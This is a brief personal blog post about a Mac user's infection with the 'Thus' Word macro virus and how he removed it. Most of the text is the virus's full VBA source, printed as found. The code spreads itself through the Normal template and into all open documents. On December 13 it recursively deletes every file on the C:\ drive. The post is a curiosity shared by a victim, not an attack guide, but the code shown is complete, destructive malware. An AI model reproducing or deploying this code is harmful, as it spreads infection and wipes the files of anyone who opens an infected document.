A Mac virus!
Jun 12, 09:35 PM by Eric Allen
I’ve been running around with my mac for over a year now claiming it doesn’t get viruses. I’m wrong. Our friends in Redmond have made very sure that their wonderful virus vector works on both PC and Mac! I got infected with a Word VB virus, Thus, a few days ago. Microsoft’s BS about going in and deleting macros was completely useless. I found this little bugger hidden in the Document_Open() subroutine of my normal.dot template as well as a few of my documents. Its payload appears to delete every file on your C:\ drive. Good thing I don’t have a C:\ drive. The fix was easy: delete the offending code from any infected documents with the VB editor and volia! It’s fixed! Maybe it’s time to switch to a different office suite.
Here’s our little friend:
'Thus_001' On Error Resume Next Application.Options.VirusProtection = True If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then NormalTemplate.VBProject.VBComponents.Item (1).CodeModule _ .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _ .CodeModule.CountOfLines End If If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _ .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _ .Item(1).CodeModule.CountOfLines) End If If NormalTemplate.Saved = False Then NormalTemplate.Save For k = 1 To Application.Documents.Count If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ .CodeModule.DeleteLines 1, Application.Documents.Item(k) _ .VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _ .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _ .VBComponents.Item(1).CodeModule.CountOfLines) End If Next k If (Day(Now()) = 13) And (Month(Now()) = 12) Then With Application.FileSearch .NewSearch .LookIn = "C:\" .SearchSubFolders = True .FileName = "<strong>.</strong>" .MatchTextExactly = False .FileType = msoFileTypeAllFiles If .Execute > 0 Then For i = 1 To .FoundFiles.Count Kill .FoundFiles(i) Next i End If End With End If